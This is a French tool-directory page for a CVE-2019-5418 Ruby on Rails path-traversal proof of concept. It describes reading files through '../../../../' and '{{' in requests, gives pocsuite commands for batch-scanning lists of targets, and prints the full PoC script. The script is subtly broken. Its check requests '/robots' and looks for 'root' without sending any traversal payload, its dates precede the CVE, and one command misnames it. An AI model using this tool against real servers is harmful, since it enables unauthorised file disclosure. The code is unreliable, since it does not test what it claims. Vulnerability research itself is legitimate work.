Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-5418 — Ruby on Rails est un framework d'applications Web, un framework relativement récent construit sur le langage Ruby. Cette vulnérabilité est principalement due au fait que Ruby on Rails utilise le paramètre `render file` pour afficher des vues en dehors de l'application. Nous pouvons modifier le paquet de requête d'accès à un contrôleur, utiliser ".../.../.../.../" pour réaliser une traversée de répertoire, puis utiliser "{{" pour fermer le chemin de requête du modèle, de sorte que le fichier ciblé soit interprété comme un modèle externe. | Kitploit
Outils/GitHubGitHub/kailing0220/cve-2019-5418
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubkailing0220/cve-2019-5418

CVE-2019-5418

Voir le dépôt
24il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Ruby on Rails est un framework d'applications Web, un framework relativement récent construit sur le langage Ruby. Cette vulnérabilité est principalement due au fait que Ruby on Rails utilise le paramètre `render file` pour afficher des vues en dehors de l'application. Nous pouvons modifier le paquet de requête d'accès à un contrôleur, utiliser ".../.../.../.../" pour réaliser une traversée de répertoire, puis utiliser "{{" pour fermer le chemin de requête du modèle, de sorte que le fichier ciblé soit interprété comme un modèle externe.

Partager

CVE-2019-5418

1. Description de la vulnérabilité

Ruby on Rails est un framework d'applications Web, un framework relativement récent, construit sur le langage Ruby. Cette vulnérabilité provient principalement du fait que Ruby on Rails utilise le paramètre render file pour restituer des vues en dehors de l'application. Nous pouvons modifier le paquet de requête en accédant à un contrôleur, en utilisant ../../../../ pour effectuer un path traversal, puis en utilisant {{ pour fermer le chemin de recherche du template, de sorte que le fichier cible soit analysé comme un template externe.

3. Reproduction de la vulnérabilité

Capture avec Burp

image-20221017165912908

Validation unique : pocsuite -r CVE-2019-5418.py -u url

image-20221017165821023

Scan groupé : pocsuite -r cve-2019-5118 -f taishi.txt

image-20221017170029547

4. Code du script

from collections import OrderedDict
from pocsuite3.api import (
    Output,
    POCBase,
    POC_CATEGORY,
    register_poc,
    requests,
    VUL_TYPE,
    get_listener_ip,
    get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
    OptString,
    OptDict,
    OptIP,
    OptPort,
    OptBool,
    OptInteger,
    OptFloat,
    OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD

# Ce qui précède ne sont que des importations de modules. Certains sont utilisés, d'autres grisés sont ceux dont le contenu n'est pas utilisé.

class DemoPOC(POCBase):
    vulID = "1571"  # ID ssvid. Si le PoC est soumis en même temps que la vulnérabilité, écrivez 0
    version = "1"  # Par défaut 1
    author = "kailing0220"  # Nom de l'auteur du PoC
    vulDate = "2014-10-16"  # Date de publication de la vulnérabilité. Si inconnue, écrivez la date d'aujourd'hui
    createDate = "2014-10-16"  # Date de création du PoC
    updateDate = "2014-10-16"  # Date de mise à jour du PoC, par défaut identique à la date de création
    references = ["http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html"]  # Source de l'adresse de la vulnérabilité, ne pas écrire pour un 0-day
    name = "CVE-2019-5418 PoC"  # Nom du PoC
    appPowerLink = "http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html"  # Page d'accueil du fournisseur de la vulnérabilité
    appName = "CVE-2019-5418"  # Nom de l'application vulnérable
    appVersion = "all"  # Versions affectées
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS  # Type de vulnérabilité, voir le tableau des types de vulnérabilités
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    samples = []  # Exemples de tests, sites web testés avec succès par le PoC
    install_requires = []  # Dépendances de modules tiers pour le PoC. Évitez autant que possible les modules tiers, référez-vous au « Guide des dépendances de modules tiers pour le PoC » si nécessaire
    desc = """
            Ruby on Rails est un framework d'applications Web, un framework relativement récent, construit sur le langage Ruby. Cette vulnérabilité provient principalement du fait que Ruby on Rails utilise le paramètre `render file` pour restituer des vues en dehors de l'application. Nous pouvons modifier le paquet de requête en accédant à un contrôleur, en utilisant `../../../../` pour effectuer un path traversal, puis en utilisant `{{` pour fermer le chemin de recherche du template, de sorte que le fichier cible soit analysé comme un template externe.
        """  # Brève description de la vulnérabilité
    pocDesc = """
            Description d'utilisation du PoC
        """  # Description d'utilisation du PoC
    # Définitions de diverses variables, description du PoC

    def _check(self):
        # Code de vérification de la vulnérabilité
        headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

        result = []
        # Gestion d'exception, au cas où le site serait fermé, impossible de faire la requête, le code planterait et ne pourrait pas s'exécuter
        try:
            url = self.url.strip() + "/robots"  # self.url est la valeur du paramètre -u que vous spécifiez
            res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
            # Vérifie si la vulnérabilité existe
            if res.status_code == 200 and 'root' in res.text:
                result.append(url)
        except Exception as e:
            print(e)
        # Fait le pendant avec try...except. S'exécute quoi qu'il arrive, que vous ayez une erreur ou non
        finally:
            return result

    def _verify(self):
        # Mode vérification, appelle le code de vérification
        result = {}
        res = self._check()  # res est la liste des résultats renvoyée
        if res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['Info'] = self.name
            result['VerifyInfo']['vul_url'] = self.url
            result['VerifyInfo']['vul_detail'] = self.desc
        return self.parse_verify(result)

    def _attack(self):
        # Mode attaque, appelle le mode vérification
        return self._verify()

    def parse_verify(self, result):
        # Analyse de l'authentification, sortie
        output = Output(self)
        # Détermine s'il y a une vulnérabilité en fonction de la valeur booléenne de result
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output


def other_fuc():
    pass


def other_utils_func():
    pass


# Enregistre la classe DemoPOC
register_poc(DemoPOC)
Télécharger l’outil